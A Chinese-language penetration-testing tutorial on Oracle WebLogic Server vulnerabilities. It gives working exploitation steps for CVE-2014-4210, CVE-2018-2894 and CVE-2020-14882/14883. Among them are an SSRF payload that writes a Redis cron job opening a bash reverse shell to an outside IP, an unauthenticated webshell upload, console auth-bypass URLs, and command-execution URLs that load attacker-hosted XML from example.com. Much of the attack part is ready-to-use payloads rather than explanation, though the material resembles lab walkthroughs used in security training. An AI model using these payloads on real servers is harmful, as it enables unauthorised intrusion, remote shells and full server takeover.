漏洞介绍

Oracle WebLogic Server 是一个用于开发和部署企业级 Java 应用的服务器平台，但其历史上存在多个严重漏洞，尤其以远程代码执行（RCE）和权限提升漏洞为主，常被攻击者利用。以下是 WebLogic 漏洞的简要介绍，结合渗透测试视角：

WebLogic 漏洞概述

常见漏洞类型：
- 远程代码执行（RCE）：如 CVE-2020-14882、CVE-2019-2725、CVE-2024-21216，允许未授权攻击者通过 HTTP、T3 或 IIOP 协议发送恶意请求，执行任意代码，可能完全控制服务器。
- 反序列化漏洞：如 CVE-2019-2729、CVE-2020-2555，因 WebLogic 未严格过滤输入数据，攻击者可通过恶意序列化对象触发代码执行。
- 目录穿越：如 CVE-2022-21371，允许攻击者访问敏感文件（如配置文件）。
- 拒绝服务（DoS）：如 CVE-2025-21549，导致服务器崩溃或不可用。
受影响版本：常见受影响版本包括 10.3.6.0、12.1.3.0、12.2.1.3/4、14.1.1.0 等，老版本尤其易受攻击。
CVSS 分数：许多漏洞（如 CVE-2020-14882、CVE-2024-21216）评分高达 9.8，易于利用且无需身份验证。

漏洞主要影响版本：

Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.1

Weblogic 12.2.1.2

Weblogic 12.2.1.3

Weblogic 14.1.1.0

漏洞扫描脚本：

git clone https://gitee.com/yijingsec/WeblogicScan
cd WeblogicScan

CVE-2014-4210

打一个ssrf，漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中

按如下方式抓包

修改operator参数为http://127.0.0.1:7000，随机访问一个端口显示could not connect

通过SSRF攻击内网Redis，payload需要进行url编码

http://172.28.0.2:6379/testset 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/555.71.5.555/6666 0

CVE-2018-2894

未授权任意文件上传

Oracle WebLogic Server 版本

10.3.6.0

12.1.3.0

12.2.1.2

12.2.1.3

影响页面为：/ws_utc/config.do，/ws_utc/begin.do

访问http://your-ip:7001/ws_utc/config.do，设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的

然后点击安全->增加->上传webshell，抓包查看时间戳

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，即可执行webshell

一句话木马shell.jsp

CVE-2019-2725

反序列化RCE

影响版本：

Oracle WebLogic Server 10.*

Oracle WebLogic Server 12.1.3

影响组件：

bea_wls9_async_response.war

wsat.war

通过访问路径/_async/AsyncResponseService 判断对应组件是否开启

CVE-2020-14882

参考p神，https://gitee.com/yijingsec/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

CVE-2020-14882：允许未授权的用户绕过管理控制台的权限验证访问后台；

CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执

行命令。

影响范围

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

Weblogic 12.2.1以上版本利用，直接访问如下URL，即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法，最早在CVE-2019-2725被提出，对于所有Weblogic版本均有效。

首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如http://example.com/rce.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>

然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

这个利用方法也有自己的缺点，就是需要Weblogic的服务器能够访问到恶意XML。
